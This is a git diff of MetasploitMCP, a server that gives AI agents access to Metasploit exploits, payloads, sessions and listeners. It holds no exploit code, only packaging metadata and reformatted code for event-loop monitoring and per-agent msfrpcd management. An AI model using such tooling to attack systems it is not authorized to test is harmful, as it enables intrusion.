a/pytest.ini b/pytest.ini deleted file mode 100644 index e330662..0000000 --- a/pytest.ini +++ /dev/null @@ -1,38 +0,0 @@ -[tool:pytest] -# Pytest configuration for MetasploitMCP - -# Test discovery -testpaths = tests -python_files = test_*.py -python_classes = Test* -python_functions = test_* - -# Output and reporting -addopts = - -v - --tb=short - --strict-markers - --disable-warnings - --cov=MetasploitMCP - --cov-report=term-missing - --cov-report=html:htmlcov - --cov-fail-under=80 - -# Async test support -asyncio_mode = auto - -# Markers -markers = - unit: Unit tests for individual functions - integration: Integration tests for full workflows - slow: Tests that take longer to run - network: Tests that require network access (disabled by default) - -# Minimum version -minversion = 7.0 - -# Filter warnings -filterwarnings = - ignore::DeprecationWarning - ignore::PendingDeprecationWarning - ignore:.*unclosed.*:ResourceWarning diff --git a/scripts/test_mcp_connection.py b/scripts/test_mcp_connection.py index d7c8f2e..aa1f2ba 100755 --- a/scripts/test_mcp_connection.py +++ b/scripts/test_mcp_connection.py @@ -41,7 +41,7 @@ async def test_connection(mcp_url: str): except httpx.ConnectError as e: print(f"✗ Cannot connect to server: {e}") print(f"\nMake sure MetasploitMCP is running:") - print(f" poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port {mcp_url.split(':')[-1].split('/')[0]}") + print(f" poetry run metasploit-mcp --transport http --host 127.0.0.1 --port {mcp_url.split(':')[-1].split('/')[0]}") return False except Exception as e: print(f"✗ Error: {e}") diff --git a/server.json b/server.json new file mode 100644 index 0000000..d65de70 --- /dev/null +++ b/server.json @@ -0,0 +1,58 @@ +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-07-09/server.schema.json", + "name": "io.github.cbdmaul/metasploit-mcp", + "description": "Metasploit MCP Server - controlled access to Metasploit Framework functionality (exploits, payloads, sessions, listeners) via the Model Context Protocol.", + "version": "3.0.0", + "repository": { + "url": "https://github.com/cbdmaul/MetasploitMCP", + "source": "github" + }, + "packages": [ + { + "registry_type": "pypi", + "registry_base_url": "https://pypi.org", + "identifier": "metasploit-mcp", + "version": "3.0.0", + "transport": { + "type": "stdio" + }, + "environment_variables": [ + { + "name": "MSF_PASSWORD", + "description": "Password for the Metasploit RPC service (msfrpcd -P ...).", + "is_required": true, + "is_secret": true + }, + { + "name": "MSF_SERVER", + "description": "Host of the Metasploit RPC service.", + "is_required": false, + "default": "127.0.0.1" + }, + { + "name": "MSF_PORT", + "description": "Port of the Metasploit RPC service.", + "is_required": false, + "default": "55553" + }, + { + "name": "MSF_SSL", + "description": "Whether the Metasploit RPC service uses SSL ('true' or 'false').", + "is_required": false, + "default": "false" + }, + { + "name": "MSF_RPC_PROTOCOL", + "description": "RPC serialization protocol: 'msgpack' (default) or 'jsonrpc'.", + "is_required": false, + "default": "msgpack" + }, + { + "name": "PAYLOAD_SAVE_DIR", + "description": "Directory where generated payloads are written (defaults to ~/payloads).", + "is_required": false + } + ] + } + ] +} diff --git a/src/metasploit_mcp/event_loop_monitor.py b/src/metasploit_mcp/event_loop_monitor.py index c86712b..1a60f11 100644 --- a/src/metasploit_mcp/event_loop_monitor.py +++ b/src/metasploit_mcp/event_loop_monitor.py @@ -35,7 +35,7 @@ def get_env_bool(key: str, default: bool = False) -> bool: """Get a boolean environment variable.""" value = os.environ.get(key, str(default)).lower() - return value in ('true', '1', 'yes', 'on') + return value in ("true", "1", "yes", "on") def get_env_float(key: str, default: float) -> float: @@ -47,35 +47,35 @@ def get_env_float(key: str, default: float) -> float: # Configuration from environment -ASYNCIO_DEBUG = get_env_bool('ASYNCIO_DEBUG', False) -SLOW_CALLBACK_THRESHOLD = get_env_float('EVENT_LOOP_SLOW_CALLBACK_THRESHOLD', 0.1) -WATCHDOG_ENABLED = get_env_bool('EVENT_LOOP_WATCHDOG', True) # Enabled by default -WATCHDOG_INTERVAL = get_env_float('EVENT_LOOP_WATCHDOG_INTERVAL', 1.0) -WATCHDOG_THRESHOLD = get_env_float('EVENT_LOOP_WATCHDOG_THRESHOLD', 0.5) -BACKLOG_THRESHOLD = get_env_float('EVENT_LOOP_BACKLOG_THRESHOLD', 100) +ASYNCIO_DEBUG = get_env_bool("ASYNCIO_DEBUG", False) +SLOW_CALLBACK_THRESHOLD = get_env_float("EVENT_LOOP_SLOW_CALLBACK_THRESHOLD", 0.1) +WATCHDOG_ENABLED = get_env_bool("EVENT_LOOP_WATCHDOG", True) # Enabled by default +WATCHDOG_INTERVAL = get_env_float("EVENT_LOOP_WATCHDOG_INTERVAL", 1.0) +WATCHDOG_THRESHOLD = get_env_float("EVENT_LOOP_WATCHDOG_THRESHOLD", 0.5) +BACKLOG_THRESHOLD = get_env_float("EVENT_LOOP_BACKLOG_THRESHOLD", 100) class EventLoopWatchdog: """ Monitors the asyncio event loop from a separate thread to detect blocking. - + The watchdog periodically schedules a callback on the event loop and measures how long it takes to execute. If the delay exceeds a threshold, it logs a warning. - + This is useful for detecting when synchronous code is blocking the event loop, preventing async tasks from running. """ - + def __init__( self, loop: asyncio.AbstractEventLoop, interval: float = WATCHDOG_INTERVAL, threshold: float = WATCHDOG_THRESHOLD, - backlog_threshold: int = int(BACKLOG_THRESHOLD) + backlog_threshold: int = int(BACKLOG_THRESHOLD), ): """ Initialize the watchdog. - + Args: loop: The asyncio event loop to monitor interval: How often to check the event loop (seconds) @@ -92,25 +92,23 @@ def __init__( self._check_count = 0 self._block_count = 0 self._backlog_warning_count = 0 - + def start(self) -> None: """Start the watchdog thread.""" if self._thread is not None and self._thread.is_alive(): logger.warning("Watchdog already running") return - + self._stop_event.clear() self._thread = threading.Thread( - target=self._watchdog_loop, - name="EventLoopWatchdog", - daemon=True + target=self._watchdog_loop, name="EventLoopWatchdog", daemon=True ) self._thread.start() logger.info( f"🐕 Event loop watchdog started (interval={self.interval}s, threshold={self.threshold}s, " f"backlog_threshold={self.backlog_threshold})" ) - + def stop(self) -> None: """Stop the watchdog thread.""" self._stop_event.set() @@ -125,7 +123,7 @@ def stop(self) -> None: f"backlog_warnings={self._backlog_warning_count})" ) self._thread = None - + def _watchdog_loop(self) -> None: """Main watchdog loop running in a separate thread.""" while not self._stop_event.is_set(): @@ -133,41 +131,38 @@ def _watchdog_loop(self) -> None: self._check_event_loop() self._check_backlog() except Exception as e: - logger.error( - f"Error in watchdog check: {e}", - exc_info=True - ) - + logger.error(f"Error in watchdog check: {e}", exc_info=True) + # Wait for the next check interval self._stop_event.wait(self.interval) - + def _check_event_loop(self) -> None: """Perform a single event loop responsiveness check.""" if self.loop.is_closed(): logger.debug("Event loop is closed, skipping watchdog check") return - + self._check_count += 1 check_time = time.monotonic() response_event = threading.Event() actual_callback_time: list = [] # Use list to allow modification in nested function - + def response_callback() -> None: """Callback that runs in the event loop to measure responsiveness.""" actual_callback_time.append(time.monotonic()) response_event.set() - + try: # Schedule the callback on the event loop self.loop.call_soon_threadsafe(response_callback) - + # Wait for the callback to execute # Use a timeout longer than threshold to give it a chance if response_event.wait(timeout=self.threshold * 3): # Calculate how long it took if actual_callback_time: delay = actual_callback_time[0] - check_time - + if delay > self.threshold: self._block_count += 1 self._log_blocking_detected(delay) @@ -182,24 +177,24 @@ def response_callback() -> None: self._block_count += 1 elapsed = time.monotonic() - check_time self._log_serious_blocking(elapsed) - + except RuntimeError as e: # Event loop might be closing if "is closed" in str(e) or "no running event loop" in str(e).lower(): logger.debug(f"Event loop not available: {e}") else: logger.error(f"Error checking event loop: {e}", exc_info=True) - + def _check_backlog(self) -> None: """Check if the event loop has too many pending tasks.""" if self.loop.is_closed(): return - + # We need to check tasks from within the event loop context # Schedule a callback to count tasks backlog_info: list = [] # Use list to allow modification in nested function response_event = threading.Event() - + def count_tasks_callback() -> None: """Callback that runs in the event loop to count pending tasks.""" try: @@ -208,51 +203,50 @@ def count_tasks_callback() -> None: # Count tasks that are not done pending_tasks = [task for task in all_tasks if not task.done()] backlog_count = len(pending_tasks) - + # Also try to get ready queue size (internal API, but useful if available) ready_count = 0 try: # This is an internal attribute, but it's the most accurate measure - if hasattr(self.loop, '_ready'): + if hasattr(self.loop, "_ready"): ready_count = len(self.loop._ready) except (AttributeError, RuntimeError): pass - - backlog_info.append({ - 'pending_tasks': backlog_count, - 'ready_callbacks': ready_count, - 'total_tasks': len(all_tasks) - }) + + backlog_info.append( + { + "pending_tasks": backlog_count, + "ready_callbacks": ready_count, + "total_tasks": len(all_tasks), + } + ) except Exception as e: logger.debug(f"Error counting tasks in event loop: {e}", exc_info=True) - backlog_info.append({ - 'pending_tasks': 0, - 'ready_callbacks': 0, - 'total_tasks': 0, - 'error': str(e) - }) + backlog_info.append( + {"pending_tasks": 0, "ready_callbacks": 0, "total_tasks": 0, "error": str(e)} + ) finally: response_event.set() - + try: # Schedule the callback on the event loop self.loop.call_soon_threadsafe(count_tasks_callback) - + # Wait for the callback to execute (with timeout) if response_event.wait(timeout=1.0): if backlog_info: info = backlog_info[0] - pending_tasks = info.get('pending_tasks', 0) - ready_callbacks = info.get('ready_callbacks', 0) - total_tasks = info.get('total_tasks', 0) - + pending_tasks = info.get("pending_tasks", 0) + ready_callbacks = info.get("ready_callbacks", 0) + total_tasks = info.get("total_tasks", 0) + # Check if backlog is too high if pending_tasks > self.backlog_threshold: self._backlog_warning_count += 1 self._log_backlog_warning( pending_tasks=pending_tasks, ready_callbacks=ready_callbacks, - total_tasks=total_tasks + total_tasks=total_tasks, ) elif pending_tasks > self.backlog_threshold * 0.7: # Log at debug level when approaching threshold @@ -263,62 +257,63 @@ def count_tasks_callback() -> None: else: # Callback didn't respond - event loop might be very busy logger.debug("Event loop backlog check timed out - loop may be very busy") - + except RuntimeError as e: # Event loop might be closing if "is closed" in str(e) or "no running event loop" in str(e).lower(): logger.debug(f"Event loop not available for backlog check: {e}") else: logger.debug(f"Error checking event loop backlog: {e}", exc_info=True) - - def _log_backlog_warning(self, pending_tasks: int, ready_callbacks: int, total_tasks: int) -> None: + + def _log_backlog_warning( + self, pending_tasks: int, ready_callbacks: int, total_tasks: int + ) -> None: """Log warning when event loop backlog is too high.""" logger.warning( f"📊 EVENT LOOP BACKLOG WARNING: {pending_tasks} pending tasks " f"(threshold={self.backlog_threshold}, ready_callbacks={ready_callbacks}, " f"total_tasks={total_tasks}, warning_count={self._backlog_warning_count})" ) - + # Try to get more context about what tasks are pending try: # Schedule another callback to get task details task_details: list = [] details_event = threading.Event() - + def get_task_details_callback() -> None: """Get details about pending tasks.""" try: all_tasks = asyncio.all_tasks(self.loop) pending = [task for task in all_tasks if not task.done()] - + # Get task names/types (limited to avoid too much output) task_info = [] for task in pending[:10]: # Limit to first 10 try: - coro = task.get_coro() if hasattr(task, 'get_coro') else None + coro = task.get_coro() if hasattr(task, "get_coro") else None if coro: - coro_name = getattr(coro, '__qualname__', getattr(coro, '__name__', 'unknown')) + coro_name = getattr( + coro, "__qualname__", getattr(coro, "__name__", "unknown") + ) task_info.append(coro_name) else: task_info.append(str(type(task).__name__)) except Exception: - task_info.append('unknown') - - task_details.append({ - 'sample_tasks': task_info, - 'total_pending': len(pending) - }) + task_info.append("unknown") + + task_details.append({"sample_tasks": task_info, "total_pending": len(pending)}) except Exception as e: logger.debug(f"Error getting task details: {e}", exc_info=True) finally: details_event.set() - + self.loop.call_soon_threadsafe(get_task_details_callback) - + if details_event.wait(timeout=0.5): if task_details: details = task_details[0] - sample_tasks = details.get('sample_tasks', []) + sample_tasks = details.get("sample_tasks", []) if sample_tasks: logger.warning( f" Sample pending tasks: {', '.join(sample_tasks[:5])}" @@ -326,17 +321,17 @@ def get_task_details_callback() -> None: ) except Exception as e: logger.debug(f"Could not get detailed task information: {e}", exc_info=True) - + def _log_blocking_detected(self, delay: float) -> None: """Log that blocking was detected with details.""" logger.warning( f"🚨 EVENT LOOP BLOCKED for {delay:.3f}s " f"(threshold={self.threshold}s, check #{self._check_count})" ) - + # Try to get information about what might be blocking self._log_blocking_context() - + def _log_serious_blocking(self, elapsed: float) -> None: """Log serious blocking where callback didn't respond.""" logger.error( @@ -345,30 +340,30 @@ def _log_serious_blocking(self, elapsed: float) -> None: f"(check #{self._check_count})" ) self._log_blocking_context() - + def _log_blocking_context(self) -> None: """Log context about what might be blocking the loop.""" # Log all running threads and their current frames logger.warning("=== Thread stack traces at time of blocking ===") - + current_thread_id = threading.current_thread().ident - + for thread_id, frame in sys._current_frames().items(): if thread_id == current_thread_id: continue # Skip watchdog thread - + thread_name = None for t in threading.enumerate(): if t.ident == thread_id: thread_name = t.name break - + thread_name = thread_name or f"Thread-{thread_id}" - + # Check if this is likely the main/event loop thread # MainThread or any thread with "asyncio" in name is interesting is_main = thread_name in ("MainThread", "asyncio") - + if is_main: logger.warning(f"\n--- {thread_name} (likely event loop) ---") for line in traceback.format_stack(frame): @@ -378,36 +373,36 @@ def _log_blocking_context(self) -> None: class SlowCallbackLogger: """ Custom callback that can be set as the asyncio slow callback handler. - + When asyncio debug mode is enabled and a callback takes longer than the slow_callback_duration, this logs detailed information. """ - + def __init__(self, threshold: float = SLOW_CALLBACK_THRESHOLD): self.threshold = threshold self.slow_callback_count = 0 - + def __call__(self, duration: float, callback: Any) -> None: """Called when a slow callback is detected.""" self.slow_callback_count += 1 - + # Extract callback information callback_info = self._get_callback_info(callback) - + logger.warning( f"⏱️ SLOW CALLBACK detected (#{self.slow_callback_count}): " f"took {duration:.3f}s (threshold={self.threshold}s)" ) logger.warning(f" Callback: {callback_info}") - + def _get_callback_info(self, callback: Any) -> str: """Extract human-readable information about a callback.""" try: - if hasattr(callback, '__qualname__'): + if hasattr(callback, "__qualname__"): return f"{callback.__module__}.{callback.__qualname__}" - elif hasattr(callback, '__name__'): + elif hasattr(callback, "__name__"): return f"{callback.__module__}.{callback.__name__}" - elif hasattr(callback, '__class__'): + elif hasattr(callback, "__class__"): return f"{callback.__class__.__module__}.{callback.__class__.__name__}" else: return str(callback) @@ -427,14 +422,14 @@ def configure_event_loop_debugging( enable_watchdog: Optional[bool] = None, watchdog_interval: Optional[float] = None, watchdog_threshold: Optional[float] = None, - backlog_threshold: Optional[int] = None + backlog_threshold: Optional[int] = None, ) -> None: """ Configure event loop debugging features. - + This function sets up asyncio debug mode and optionally starts a watchdog thread to monitor event loop responsiveness. - + Args: loop: The event loop to configure (default: current running loop) enable_debug: Enable asyncio debug mode (default: from env ASYNCIO_DEBUG) @@ -445,15 +440,17 @@ def configure_event_loop_debugging( backlog_threshold: Number of pending tasks that triggers a warning (default: from env) """ global _watchdog, _slow_callback_logger - + # Use environment defaults if not specified enable_debug = enable_debug if enable_debug is not None else ASYNCIO_DEBUG slow_callback_threshold = slow_callback_threshold or SLOW_CALLBACK_THRESHOLD enable_watchdog = enable_watchdog if enable_watchdog is not None else WATCHDOG_ENABLED watchdog_interval = watchdog_interval or WATCHDOG_INTERVAL watchdog_threshold = watchdog_threshold or WATCHDOG_THRESHOLD - backlog_threshold = backlog_threshold if backlog_threshold is not None else int(BACKLOG_THRESHOLD) - + backlog_threshold = ( + backlog_threshold if backlog_threshold is not None else int(BACKLOG_THRESHOLD) + ) + # Get the event loop if loop is None: try: @@ -464,13 +461,13 @@ def configure_event_loop_debugging( except RuntimeError: logger.warning("No event loop available, cannot configure debugging") return - + logger.info( f"🔧 Configuring event loop debugging: " f"debug={enable_debug}, slow_threshold={slow_callback_threshold}s, " f"watchdog={enable_watchdog}, backlog_threshold={backlog_threshold}" ) - + # Enable asyncio debug mode if enable_debug: loop.set_debug(True) @@ -478,21 +475,21 @@ def configure_event_loop_debugging( logger.info( f"✅ Asyncio debug mode enabled with slow_callback_duration={slow_callback_threshold}s" ) - + # Note: asyncio's debug mode will log slow callbacks automatically # We add extra context with our watchdog - + # Start watchdog if enabled if enable_watchdog: # Stop existing watchdog if any if _watchdog is not None: _watchdog.stop() - + _watchdog = EventLoopWatchdog( loop=loop, interval=watchdog_interval, threshold=watchdog_threshold, - backlog_threshold=backlog_threshold + backlog_threshold=backlog_threshold, ) _watchdog.start() @@ -500,60 +497,62 @@ def configure_event_loop_debugging( def stop_event_loop_monitoring() -> None: """Stop all event loop monitoring.""" global _watchdog - + if _watchdog is not None: _watchdog.stop() _watchdog = None - + logger.info("Event loop monitoring stopped") def get_monitoring_stats() -> dict: """Get statistics from the event loop monitoring.""" stats = { - "watchdog_running": _watchdog is not None and _watchdog._thread is not None and _watchdog._thread.is_alive(), + "watchdog_running": _watchdog is not None + and _watchdog._thread is not None + and _watchdog._thread.is_alive(), "debug_enabled": ASYNCIO_DEBUG, "slow_callback_threshold": SLOW_CALLBACK_THRESHOLD, } - + if _watchdog is not None: stats["watchdog_check_count"] = _watchdog._check_count stats["watchdog_block_count"] = _watchdog._block_count stats["backlog_warning_count"] = _watchdog._backlog_warning_count stats["backlog_threshold"] = _watchdog.backlog_threshold - + if _slow_callback_logger is not None: stats["slow_callback_count"] = _slow_callback_logger.slow_callback_count - + return stats async def check_event_loop_health() -> dict: """ Perform a quick event loop health check. - + Returns a dict with health information including backlog status. """ loop = asyncio.get_running_loop() - + # Measure how long it takes to schedule and execute a simple callback start = time.monotonic() await asyncio.sleep(0) # Yield to event loop latency = time.monotonic() - start - + # Count pending tasks all_tasks = asyncio.all_tasks(loop) pending_tasks = [task for task in all_tasks if not task.done()] pending_count = len(pending_tasks) - + # Try to get ready queue size ready_count = 0 try: - if hasattr(loop, '_ready'): + if hasattr(loop, "_ready"): ready_count = len(loop._ready) except (AttributeError, RuntimeError): pass - + health = { "timestamp": datetime.now().isoformat(), "event_loop_latency_ms": latency * 1000, @@ -563,13 +562,13 @@ async def check_event_loop_health() -> dict: "pending_tasks": pending_count, "ready_callbacks": ready_count, "total_tasks": len(all_tasks), - "monitoring_stats": get_monitoring_stats() + "monitoring_stats": get_monitoring_stats(), } - + # Warn if latency is high if latency > 0.1: # 100ms logger.warning(f"⚠️ High event loop latency: {latency*1000:.1f}ms") - + # Warn if backlog is high backlog_threshold = int(BACKLOG_THRESHOLD) if pending_count > backlog_threshold: @@ -577,7 +576,7 @@ async def check_event_loop_health() -> dict: f"⚠️ High event loop backlog: {pending_count} pending tasks " f"(threshold={backlog_threshold}, ready_callbacks={ready_count})" ) - + return health @@ -585,18 +584,19 @@ async def check_event_loop_health() -> dict: def track_blocking(threshold: float = 0.1): """ Decorator to track if an async function blocks for too long. - + Args: threshold: Time in seconds after which to log a warning - + Usage: @track_blocking(threshold=0.5) async def potentially_slow_operation(): ... """ + def decorator(func: Callable) -> Callable: import functools - + @functools.wraps(func) async def wrapper(*args, **kwargs): start = time.monotonic() @@ -606,11 +606,11 @@ async def wrapper(*args, **kwargs): elapsed = time.monotonic() - start if elapsed > threshold: logger.warning( - f"⏱️ {func.__qualname__} took {elapsed:.3f}s " - f"(threshold={threshold}s)" + f"⏱️ {func.__qualname__} took {elapsed:.3f}s " f"(threshold={threshold}s)" ) - + return wrapper + return decorator @@ -618,38 +618,30 @@ async def wrapper(*args, **kwargs): class BlockingMonitor: """ Context manager to monitor for blocking in a code block. - + Usage: async with BlockingMonitor("database_query", threshold=1.0): await slow_database_query() """ - + def __init__(self, name: str, threshold: float = 0.5): self.name = name self.threshold = threshold self.start_time: Optional[float] = None - + async def __aenter__(self) -> "BlockingMonitor": self.start_time = time.monotonic() return self - + async def __aexit__(self, exc_type, exc_val, exc_tb) -> None: if self.start_time is not None: elapsed = time.monotonic() - self.start_time if elapsed > self.threshold: logger.warning( - f"⏱️ Block '{self.name}' took {elapsed:.3f}s " - f"(threshold={self.threshold}s)" + f"⏱️ Block '{self.name}' took {elapsed:.3f}s " f"(threshold={self.threshold}s)" ) if exc_type is None: # No exception, but still slow - might be blocking logger.debug(f" Stack trace for slow block '{self.name}':") for line in traceback.format_stack()[:-1]: logger.debug(line.strip()) - - - - - - - diff --git a/src/metasploit_mcp/instance_manager.py b/src/metasploit_mcp/instance_manager.py index 421e131..5e917fc 100644 --- a/src/metasploit_mcp/instance_manager.py +++ b/src/metasploit_mcp/instance_manager.py @@ -21,6 +21,7 @@ @dataclass class MetasploitInstance: """Represents a running Metasploit RPC daemon instance for an agent.""" + agent_id: str port: int password: str @@ -28,13 +29,13 @@ class MetasploitInstance: client: Optional[MsfRpcClient] = None last_used: float = 0 startup_time: float = 0 - + def is_healthy(self) -> bool: """Check if the instance process is still running.""" if not self.process: return False return self.process.poll() is None - + def update_last_used(self): """Update the last used timestamp.""" self.last_used = time.time() @@ -43,25 +44,25 @@ def update_last_used(self): class MetasploitInstanceManager: """ Manages per-agent Metasploit RPC daemon instances. - + Features: - Lazy initialization: Spawns msfrpcd only when agent requests it - Auto-cleanup: Terminates inactive instances after timeout - Port allocation: Assigns unique ports per agent - Health monitoring: Tracks instance health and restarts if needed """ - + def __init__( - self, + self, base_port: int = 55553, password: str = "msf", inactivity_timeout: int = 1800, # 30 minutes startup_timeout: int = 30, # 30 seconds to start - msfrpcd_path: str = "msfrpcd" + msfrpcd_path: str = "msfrpcd", ): """ Initialize the Metasploit Instance Manager. - + Args: base_port: Base port for Metasploit RPC (agents get base_port + offset) password: Password for msfrpcd authentication @@ -74,42 +75,45 @@ def __init__( self.inactivity_timeout = inactivity_timeout self.startup_timeout = startup_timeout self.msfrpcd_path = msfrpcd_path - + self.instances: Dict[str, MetasploitInstance] = {} self._lock = asyncio.Lock() self._cleanup_task: Optional[asyncio.Task] = None self._running = False - - logger.info(f"MetasploitInstanceManager initialized (base_port={base_port}, " - f"inactivity_timeout={inactivity_timeout}s)") - + + logger.info( + f"MetasploitInstanceManager initialized (base_port={base_port}, " + f"inactivity_timeout={inactivity_timeout}s)" + ) + def _calculate_port(self, agent_id: str) -> int: """ Calculate the RPC port for a specific agent. - + Uses a deterministic hash to assign ports, supporting up to 100 agents. """ if agent_id == "default-agent": return self.base_port - + # Create deterministic hash import hashlib + agent_hash = int(hashlib.md5(agent_id.encode()).hexdigest(), 16) agent_offset = agent_hash % 100 port = self.base_port + agent_offset - + return port - + async def get_or_create_instance(self, agent_id: str) -> MetasploitInstance: """ Get existing Metasploit instance for agent or create a new one. - + Args: agent_id: Agent identifier - + Returns: MetasploitInstance for this agent - + Raises: RuntimeError: If instance creation fails """ @@ -117,40 +121,42 @@ async def get_or_create_instance(self, agent_id: str) -> MetasploitInstance: # Check if instance already exists if agent_id in self.instances: instance = self.instances[agent_id] - + # Verify instance is still healthy if instance.is_healthy(): instance.update_last_used() logger.debug(f"Returning existing Metasploit instance for agent: {agent_id}") return instance else: - logger.warning(f"Existing instance for agent {agent_id} is unhealthy, recreating...") + logger.warning( + f"Existing instance for agent {agent_id} is unhealthy, recreating..." + ) await self._terminate_instance(agent_id) - + # Create new instance logger.info(f"Creating new Metasploit instance for agent: {agent_id}") instance = await self._spawn_instance(agent_id) self.instances[agent_id] = instance - + return instance - + async def _spawn_instance(self, agent_id: str) -> MetasploitInstance: """ Spawn a new msfrpcd process for an agent. - + Args: agent_id: Agent identifier - + Returns: MetasploitInstance with running process and connected client - + Raises: RuntimeError: If spawn or connection fails """ port = self._calculate_port(agent_id) - + logger.info(f"Spawning msfrpcd for agent '{agent_id}' on port {port}...") - + # Build msfrpcd command # -P: password # -p: port @@ -159,73 +165,75 @@ async def _spawn_instance(self, agent_id: str) -> MetasploitInstance: # -f: run in foreground (we'll manage the process) cmd = [ self.msfrpcd_path, - "-P", self.password, - "-p", str(port), - "-a", "127.0.0.1", + "-P", + self.password, + "-p", + str(port), + "-a", + "127.0.0.1", "-n", # No SSL for simplicity - "-f" # Foreground + "-f", # Foreground ] - + try: # Start the process process = subprocess.Popen( - cmd, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - stdin=subprocess.DEVNULL + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL ) - + logger.info(f"msfrpcd process started (PID: {process.pid}) for agent '{agent_id}'") - + # Create instance object instance = MetasploitInstance( agent_id=agent_id, port=port, password=self.password, process=process, - startup_time=time.time() + startup_time=time.time(), ) - + # Wait for msfrpcd to become ready client = await self._wait_for_ready(instance) instance.client = client instance.update_last_used() - + logger.info(f"Metasploit instance ready for agent '{agent_id}' on port {port}") return instance - + except Exception as e: logger.error(f"Failed to spawn msfrpcd for agent {agent_id}: {e}", exc_info=True) # Clean up process if it was started - if 'process' in locals() and process.poll() is None: + if "process" in locals() and process.poll() is None: process.terminate() try: process.wait(timeout=5) except subprocess.TimeoutExpired: process.kill() raise RuntimeError(f"Failed to spawn Metasploit instance: {e}") from e - + async def _wait_for_ready(self, instance: MetasploitInstance) -> MsfRpcClient: """ Wait for msfrpcd to become ready and create RPC client. - + Args: instance: MetasploitInstance to connect to - + Returns: Connected MsfRpcClient - + Raises: RuntimeError: If connection times out or fails """ start_time = time.time() last_error = None - + while (time.time() - start_time) < self.startup_timeout: # Check if process died if not instance.is_healthy(): - raise RuntimeError(f"msfrpcd process died during startup for agent {instance.agent_id}") - + raise RuntimeError( + f"msfrpcd process died during startup for agent {instance.agent_id}" + ) + try: # Attempt to connect client = await asyncio.to_thread( @@ -233,45 +241,45 @@ async def _wait_for_ready(self, instance: MetasploitInstance) -> MsfRpcClient: password=instance.password, server="127.0.0.1", port=instance.port, - ssl=False + ssl=False, ) ) - + # Test connection await asyncio.to_thread(lambda: client.core.version) - + logger.info(f"Successfully connected to msfrpcd for agent '{instance.agent_id}'") return client - + except Exception as e: last_error = e # Wait a bit before retrying await asyncio.sleep(0.5) - + # Timeout reached raise RuntimeError( f"Timeout waiting for msfrpcd to become ready for agent {instance.agent_id}. " f"Last error: {last_error}" ) - + async def _terminate_instance(self, agent_id: str): """ Terminate a Metasploit instance for an agent. - + Performs proper cleanup by: 1. Calling auth.logout RPC to close the session on the server 2. Terminating the msfrpcd process - + Args: agent_id: Agent identifier """ if agent_id not in self.instances: logger.debug(f"No instance found for agent {agent_id}, nothing to terminate") return - + instance = self.instances[agent_id] logger.info(f"Terminating Metasploit instance for agent: {agent_id}") - + try: # Step 1: Properly logout via RPC to close the session if instance.client: @@ -280,7 +288,7 @@ async def _terminate_instance(self, agent_id: str): # This tells the server to clean up our authentication token logger.debug(f"Calling auth.logout for agent {agent_id}...") await asyncio.to_thread( - lambda: instance.client.call('auth.logout', [instance.client.token]) + lambda: instance.client.call("auth.logout", [instance.client.token]) ) logger.info(f"RPC session logged out successfully for agent {agent_id}") except Exception as e: @@ -289,12 +297,12 @@ async def _terminate_instance(self, agent_id: str): finally: # Clear the client reference instance.client = None - + # Step 2: Terminate the msfrpcd process if instance.process and instance.is_healthy(): logger.debug(f"Sending SIGTERM to msfrpcd (PID: {instance.process.pid})") instance.process.terminate() - + try: # Wait up to 10 seconds for graceful shutdown await asyncio.to_thread(instance.process.wait, timeout=10) @@ -304,42 +312,42 @@ async def _terminate_instance(self, agent_id: str): instance.process.kill() await asyncio.to_thread(instance.process.wait, timeout=5) logger.info(f"msfrpcd process killed for agent {agent_id}") - + except Exception as e: logger.error(f"Error terminating instance for agent {agent_id}: {e}", exc_info=True) finally: # Remove from registry if agent_id in self.instances: del self.instances[agent_id] - + async def get_client(self, agent_id: str) -> MsfRpcClient: """ Get the RPC client for an agent, creating instance if needed. - + Args: agent_id: Agent identifier - + Returns: Connected MsfRpcClient for this agent """ instance = await self.get_or_create_instance(agent_id) return instance.client - + async def start_cleanup_task(self): """Start the background cleanup task for inactive instances.""" if self._running: logger.warning("Cleanup task already running") return - + self._running = True self._cleanup_task = asyncio.create_task(self._cleanup_loop()) logger.info("Started Metasploit instance cleanup task") - + async def stop_cleanup_task(self): """Stop the background cleanup task.""" if not self._running: return - + self._running = False if self._cleanup_task and not self._cleanup_task.done(): self._cleanup_task.cancel() @@ -347,71 +355,75 @@ async def stop_cleanup_task(self): await self._cleanup_task except asyncio.CancelledError: pass - + logger.info("Stopped Metasploit instance cleanup task") - + async def _cleanup_loop(self): """Background loop to clean up inactive instances.""" logger.info("Metasploit instance cleanup loop started") - + while self._running: try: await asyncio.sleep(60) # Check every minute - + current_time = time.time() agents_to_terminate = [] - + async with self._lock: for agent_id, instance in self.instances.items(): # Check if instance is inactive if (current_time - instance.last_used) > self.inactivity_timeout: - logger.info(f"Instance for agent '{agent_id}' has been inactive for " - f"{current_time - instance.last_used:.0f}s, marking for termination") + logger.info( + f"Instance for agent '{agent_id}' has been inactive for " + f"{current_time - instance.last_used:.0f}s, marking for termination" + ) agents_to_terminate.append(agent_id) - + # Check if instance is unhealthy elif not instance.is_healthy(): - logger.warning(f"Instance for agent '{agent_id}' is unhealthy, marking for termination") + logger.warning( + f"Instance for agent '{agent_id}' is unhealthy, marking for termination" + ) agents_to_terminate.append(agent_id) - + # Terminate inactive instances (outside the lock to avoid deadlock) for agent_id in agents_to_terminate: await self._terminate_instance(agent_id) - + except asyncio.CancelledError: break except Exception as e: logger.error(f"Error in cleanup loop: {e}", exc_info=True) - + logger.info("Metasploit instance cleanup loop stopped") - + async def shutdown(self): """Shutdown all instances and cleanup.""" logger.info("Shutting down Metasploit Instance Manager...") - + # Stop cleanup task await self.stop_cleanup_task() - + # Terminate all instances agent_ids = list(self.instances.keys()) for agent_id in agent_ids: await self._terminate_instance(agent_id) - + logger.info("Metasploit Instance Manager shutdown complete") - + def get_instance_info(self, agent_id: str) -> Optional[Dict]: """ Get information about an instance. - + Args: agent_id: Agent identifier - + Returns: Dict with instance info, or None if not found """ if agent_id not in self.instances: return None - + instance = self.instances[agent_id] return { "agent_id": instance.agent_id, @@ -420,18 +432,14 @@ def get_instance_info(self, agent_id: str) -> Optional[Dict]: "is_healthy": instance.is_healthy(), "last_used": instance.last_used, "uptime": time.time() - instance.startup_time if instance.startup_time else 0, - "inactive_for": time.time() - instance.last_used if instance.last_used else 0 + "inactive_for": time.time() - instance.last_used if instance.last_used else 0, } - + def list_instances(self) -> Dict[str, Dict]: """ List all running instances. - + Returns: Dict 